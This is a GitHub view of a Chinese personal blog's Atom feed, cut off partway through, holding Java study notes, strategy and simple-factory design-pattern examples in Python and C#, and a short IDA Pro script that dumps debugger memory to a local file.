This repository has been archived by the owner on May 23, 2018. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
505 lines (431 loc) · 151 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title><![CDATA[lShang's Blog]]></title>
<subtitle><![CDATA[I love this world.]]></subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://blog.smvirus.com/"/>
<updated>2015-11-04T18:13:40.000Z</updated>
<id>http://blog.smvirus.com/</id>
<author>
<name><![CDATA[lSHANG]]></name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title><![CDATA[Java语言程序设计 —— 计算机、程序与 Java 概述]]></title>
<link href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/"/>
<id>http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/</id>
<published>2015-11-04T15:34:14.000Z</published>
<updated>2015-11-04T18:13:40.000Z</updated>
<content type="html"><![CDATA[<p>一直没有系统的学习过 Java,近来趁着向安卓转型的机会,从头学习下这门语言,本文记录了《Java 语言程序设计(基础篇)》第十版第一章的读书记录及练习题代码。</p>
<h1 id="思维导图">思维导图</h1><p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/计算机、程序和%20Java%20概述.png" alt=""></p>
<a id="more"></a>
<h1 id="编程练习">编程练习</h1><ul>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_1.java">Exercise_1_1.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_2.java">Exercise_1_2.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_3.java">Exercise_1_3.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_4.java">Exercise_1_4.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_5.java">Exercise_1_5.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_6.java">Exercise_1_6.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_7.java">Exercise_1_7.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_8.java">Exercise_1_8.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_9.java">Exercise_1_9.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_10.java">Exercise_1_10.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_11.java">Exercise_1_11.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_12.java">Exercise_1_12.java</a></li>
<li><a href="http://blog.smvirus.com/2015/11/04/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/Exercise_1_13.java">Exercise_1_13.java</a></li>
</ul>
]]></content>
<summary type="html">
<![CDATA[<p>一直没有系统的学习过 Java,近来趁着向安卓转型的机会,从头学习下这门语言,本文记录了《Java 语言程序设计(基础篇)》第十版第一章的读书记录及练习题代码。</p>
<h1 id="思维导图">思维导图</h1><p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/Intro-to-Java-Programming-Comprehensive-Version-10th-Chapter-1/计算机、程序和%20Java%20概述.png" alt=""></p>]]>
</summary>
<category term="Java" scheme="http://blog.smvirus.com/tags/Java/"/>
<category term="读书笔记" scheme="http://blog.smvirus.com/categories/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
</entry>
<entry>
<title><![CDATA[大话设计模式——策略与简单工厂结合]]></title>
<link href="http://blog.smvirus.com/2015/08/07/%E5%A4%A7%E8%AF%9D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E2%80%94%E2%80%94%E7%AD%96%E7%95%A5%E4%B8%8E%E7%AE%80%E5%8D%95%E5%B7%A5%E5%8E%82%E7%BB%93%E5%90%88/"/>
<id>http://blog.smvirus.com/2015/08/07/大话设计模式——策略与简单工厂结合/</id>
<published>2015-08-06T16:06:26.000Z</published>
<updated>2015-10-21T17:24:03.000Z</updated>
<content type="html"><![CDATA[<p>策略模式和简单工厂模式相结合,是通过将策略模式中由客户端承担的选择具体实现的职责转移到Context类中以减轻客户端职责,降低程序耦合度。</p>
<h1 id="优势">优势</h1><p>降低了客户端和算法之间的耦合度。</p>
<h1 id="劣势">劣势</h1><p>在Context类中仍需实现选择具体实现的判断。</p>
<a id="more"></a>
<h1 id="程序示例">程序示例</h1><p>商场收银软件,可以根据不同销售策略进行收费。</p>
<h2 id="UML类图">UML类图</h2><p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/大话设计模式——策略与简单工厂结合/Cash.jpg" alt=""></p>
<h2 id="Python代码">Python代码</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding: utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashSuper</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">acceptCash</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashNormal</span><span class="params">(CashSuper)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">acceptCash</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> money</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashRebate</span><span class="params">(CashSuper)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, moneyRebate)</span>:</span></span><br><span class="line"> self.moneyRebate = moneyRebate</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">acceptCash</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> money * self.moneyRebate</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashReturn</span><span class="params">(CashSuper)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, moneyCondition, moneyReturn)</span>:</span></span><br><span class="line"> self.moneyCondition = moneyCondition</span><br><span class="line"> self.moneyReturn = moneyReturn</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">acceptCash</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> result = money</span><br><span class="line"> <span class="keyword">if</span> money >= self.moneyCondition:</span><br><span class="line"> result = money - (int(money / self.moneyCondition) * self.moneyReturn)</span><br><span class="line"> <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashContext</span>:</span></span><br><span class="line"> stratey = {}</span><br><span class="line"> stratey[<span class="number">1</span>] = CashNormal()</span><br><span class="line"> stratey[<span class="number">2</span>] = CashRebate(<span class="number">0.8</span>)</span><br><span class="line"> stratey[<span class="number">3</span>] = CashReturn(<span class="number">300</span>, <span class="number">100</span>)</span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, cashType)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> cashType <span class="keyword">in</span> self.stratey:</span><br><span class="line"> self.cs = self.stratey[cashType]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">raise</span> Exception(<span class="string">'cashType error.'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetResult</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.cs.acceptCash(money)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> money = input(<span class="string">u'Money: '</span>)</span><br><span class="line"> repeat = <span class="keyword">True</span></span><br><span class="line"> <span class="keyword">while</span> repeat <span class="keyword">is</span> <span class="keyword">True</span>:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> cashType = input(<span class="string">u'1. Normal.\n2. Discount of twenty percent.\n3. Per more than $300 cashback $100.\nPay type: '</span>)</span><br><span class="line"> csuper = CashContext(cashType)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">u'Amount Paid: %.2f'</span> % csuper.GetResult(money)</span><br><span class="line"> repeat = <span class="keyword">False</span></span><br><span class="line"> <span class="keyword">except</span> Exception:</span><br><span class="line"> <span class="keyword">print</span> <span class="string">'\nPay type error.\n'</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<![CDATA[<p>策略模式和简单工厂模式相结合,是通过将策略模式中由客户端承担的选择具体实现的职责转移到Context类中以减轻客户端职责,降低程序耦合度。</p>
<h1 id="优势">优势</h1><p>降低了客户端和算法之间的耦合度。</p>
<h1 id="劣势">劣势</h1><p>在Context类中仍需实现选择具体实现的判断。</p>]]>
</summary>
<category term="Python" scheme="http://blog.smvirus.com/tags/Python/"/>
<category term="设计模式" scheme="http://blog.smvirus.com/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
<category term="读书笔记" scheme="http://blog.smvirus.com/categories/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
</entry>
<entry>
<title><![CDATA[大话设计模式——策略模式]]></title>
<link href="http://blog.smvirus.com/2015/08/05/%E5%A4%A7%E8%AF%9D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E2%80%94%E2%80%94%E7%AD%96%E7%95%A5%E6%A8%A1%E5%BC%8F/"/>
<id>http://blog.smvirus.com/2015/08/05/大话设计模式——策略模式/</id>
<published>2015-08-04T16:43:39.000Z</published>
<updated>2015-10-21T17:24:14.000Z</updated>
<content type="html"><![CDATA[<p>策略模式的核心思想是定义一个算法家族并分别封装起来,这些算法都完成相同的功能,只是实现不同,通过策略模式的封装可以使算法之间互相替换并且不影响到客户端。</p>
<h1 id="优势">优势</h1><p>适用于以方法为主,算法经常变动的类;每个算法都有自己的类,简化了测试单元。</p>
<h1 id="劣势">劣势</h1><p>需要客户端参与判断初始化对象类型。</p>
<a id="more"></a>
<h1 id="UML类图">UML类图</h1><p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/大话设计模式——策略模式/Strategy.jpg" alt=""></p>
<h1 id="程序示例">程序示例</h1><p>商场收银软件,可以根据不同销售策略进行收费。</p>
<h2 id="UML类图-1">UML类图</h2><p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/大话设计模式——策略模式/Cash.jpg" alt=""></p>
<h2 id="Python代码">Python代码</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding: utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashSuper</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">acceptCash</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashNormal</span><span class="params">(CashSuper)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">acceptCash</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> money</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashRebate</span><span class="params">(CashSuper)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, moneyRebate)</span>:</span></span><br><span class="line"> self.moneyRebate = moneyRebate</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">acceptCash</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> money * self.moneyRebate</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashReturn</span><span class="params">(CashSuper)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, moneyCondition, moneyReturn)</span>:</span></span><br><span class="line"> self.moneyCondition = moneyCondition</span><br><span class="line"> self.moneyReturn = moneyReturn</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">acceptCash</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> result = money</span><br><span class="line"> <span class="keyword">if</span> money >= self.moneyCondition:</span><br><span class="line"> result = money - (int(money / self.moneyCondition) * self.moneyReturn)</span><br><span class="line"> <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CashContext</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, csuper)</span>:</span></span><br><span class="line"> self.cs = csuper</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">GetResult</span><span class="params">(self, money)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.cs.acceptCash(money)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> money = input(<span class="string">u'Money: '</span>)</span><br><span class="line"> stratey = {}</span><br><span class="line"> stratey[<span class="number">1</span>] = CashContext(CashNormal())</span><br><span class="line"> stratey[<span class="number">2</span>] = CashContext(CashRebate(<span class="number">0.8</span>))</span><br><span class="line"> stratey[<span class="number">3</span>] = CashContext(CashReturn(<span class="number">300</span>, <span class="number">100</span>))</span><br><span class="line"> cashType = <span class="keyword">None</span></span><br><span class="line"> <span class="keyword">while</span> cashType <span class="keyword">not</span> <span class="keyword">in</span> stratey:</span><br><span class="line"> cashType = input(<span class="string">u'1. Normal.\n2. Discount of twenty percent.\n3. Per more than $300 cashback $100.\nPay type: '</span>)</span><br><span class="line"> <span class="keyword">if</span> cashType <span class="keyword">in</span> stratey:</span><br><span class="line"> <span class="keyword">print</span> cashType</span><br><span class="line"> <span class="keyword">print</span> <span class="string">u'Amount Paid: %.2f'</span> % stratey[cashType].GetResult(money)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">print</span> <span class="string">u'Pay type error.\n'</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<![CDATA[<p>策略模式的核心思想是定义一个算法家族并分别封装起来,这些算法都完成相同的功能,只是实现不同,通过策略模式的封装可以使算法之间互相替换并且不影响到客户端。</p>
<h1 id="优势">优势</h1><p>适用于以方法为主,算法经常变动的类;每个算法都有自己的类,简化了测试单元。</p>
<h1 id="劣势">劣势</h1><p>需要客户端参与判断初始化对象类型。</p>]]>
</summary>
<category term="Python" scheme="http://blog.smvirus.com/tags/Python/"/>
<category term="设计模式" scheme="http://blog.smvirus.com/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
<category term="读书笔记" scheme="http://blog.smvirus.com/categories/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
</entry>
<entry>
<title><![CDATA[IDA Pro内存dump脚本]]></title>
<link href="http://blog.smvirus.com/2015/08/02/ida-pro-dump-memory-script/"/>
<id>http://blog.smvirus.com/2015/08/02/ida-pro-dump-memory-script/</id>
<published>2015-08-02T10:37:33.000Z</published>
<updated>2015-10-21T17:02:09.000Z</updated>
<content type="html"><![CDATA[<p>使用IDA Pro调试程序时偶尔会遇到dump内存的需求,IDA Pro并没有直接提供内存dump的功能,但可以通过其提供的接口用脚本来实现相关功能。</p>
<h1 id="IDC脚本">IDC脚本</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">auto</span> i,fp;</span><br><span class="line">fp = fopen(<span class="string">"d:\\dump.dex"</span>,<span class="string">"wb"</span>);</span><br><span class="line"><span class="keyword">for</span> (i = start_address; i <= end_address; i++)</span><br><span class="line"> fputc(Byte(i),fp);</span><br></pre></td></tr></table></figure>
<h1 id="IDA_Python脚本">IDA Python脚本</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> idaapi</span><br><span class="line"></span><br><span class="line">data = idaapi.dbg_read_memory(start_address, data_length)</span><br><span class="line">fp = open(<span class="string">'d:\\dump.dex'</span>, <span class="string">'wb'</span>)</span><br><span class="line">fp.write(data)</span><br><span class="line">fp.close()</span><br></pre></td></tr></table></figure>
]]></content>
<summary type="html">
<![CDATA[<p>使用IDA Pro调试程序时偶尔会遇到dump内存的需求,IDA Pro并没有直接提供内存dump的功能,但可以通过其提供的接口用脚本来实现相关功能。</p>
<h1 id="IDC脚本">IDC脚本</h1><figure class="highlight c"><tab]]>
</summary>
<category term="IDA Pro" scheme="http://blog.smvirus.com/tags/IDA-Pro/"/>
<category term="奇淫技巧" scheme="http://blog.smvirus.com/tags/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/"/>
<category term="调试逆向" scheme="http://blog.smvirus.com/categories/%E8%B0%83%E8%AF%95%E9%80%86%E5%90%91/"/>
</entry>
<entry>
<title><![CDATA[大话设计模式——简单工厂模式]]></title>
<link href="http://blog.smvirus.com/2015/07/29/%E5%A4%A7%E8%AF%9D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E2%80%94%E2%80%94%E7%AE%80%E5%8D%95%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F/"/>
<id>http://blog.smvirus.com/2015/07/29/大话设计模式——简单工厂模式/</id>
<published>2015-07-29T14:49:08.000Z</published>
<updated>2015-10-21T17:24:21.000Z</updated>
<content type="html"><![CDATA[<p>简单工厂模式的核心思想是通过创建一个工厂类来根据不同条件生产不同的类,然后根据不同类对基类方法的覆写得到不同的结果。</p>
<h1 id="优势">优势</h1><p>新添加类时,不影响之前的代码,仅需编写新增类代码和修改工厂类代码。</p>
<h1 id="劣势">劣势</h1><p>客户端必须知道基类和工厂类,耦合性差。</p>
<a id="more"></a>
<h1 id="程序实例">程序实例</h1><p>四则运算计算器,根据用户的输入生产对应的运算类并计算结果。</p>
<h2 id="UML类图">UML类图</h2><p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/大话设计模式——简单工厂模式/UML.png" alt=""></p>
<h2 id="C#代码">C#代码</h2><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title">Operation</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">double</span> _numberA = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">double</span> _numberB = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">double</span> NumberA</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">get</span> { <span class="keyword">return</span> _numberA; }</span><br><span class="line"> <span class="keyword">set</span> { _numberA = <span class="keyword">value</span>; }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">double</span> NumberB</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">get</span> { <span class="keyword">return</span> _numberB; }</span><br><span class="line"> <span class="keyword">set</span> { _numberB = <span class="keyword">value</span>; }</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">virtual</span> <span class="keyword">double</span> <span class="title">GetResult</span>(<span class="params"></span>)</span><br><span class="line"> </span>{</span><br><span class="line"> <span class="keyword">double</span> result = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title">OperationAdd</span> : <span class="title">Operation</span></span><br><span class="line">{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">override</span> <span class="keyword">double</span> <span class="title">GetResult</span>(<span class="params"></span>)</span><br><span class="line"> </span>{</span><br><span class="line"> <span class="keyword">double</span> result = <span class="number">0</span>;</span><br><span class="line"> result = NumberA + NumberB;</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title">OperationSub</span> : <span class="title">Operation</span></span><br><span class="line">{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">override</span> <span class="keyword">double</span> <span class="title">GetResult</span>(<span class="params"></span>)</span><br><span class="line"> </span>{</span><br><span class="line"> <span class="keyword">double</span> result = <span class="number">0</span>;</span><br><span class="line"> result = NumberA - NumberB;</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title">OperationMul</span> : <span class="title">Operation</span></span><br><span class="line">{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">override</span> <span class="keyword">double</span> <span class="title">GetResult</span>(<span class="params"></span>)</span><br><span class="line"> </span>{</span><br><span class="line"> <span class="keyword">double</span> result = <span class="number">0</span>;</span><br><span class="line"> result = NumberA * NumberB;</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title">OperationDiv</span> : <span class="title">Operation</span></span><br><span class="line">{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">override</span> <span class="keyword">double</span> <span class="title">GetResult</span>(<span class="params"></span>)</span><br><span class="line"> </span>{</span><br><span class="line"> <span class="keyword">double</span> result = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (NumberB == <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> Exception(<span class="string">"除数不能为0."</span>);</span><br><span class="line"> result = NumberA / NumberB;</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title">OPerationFactory</span></span><br><span 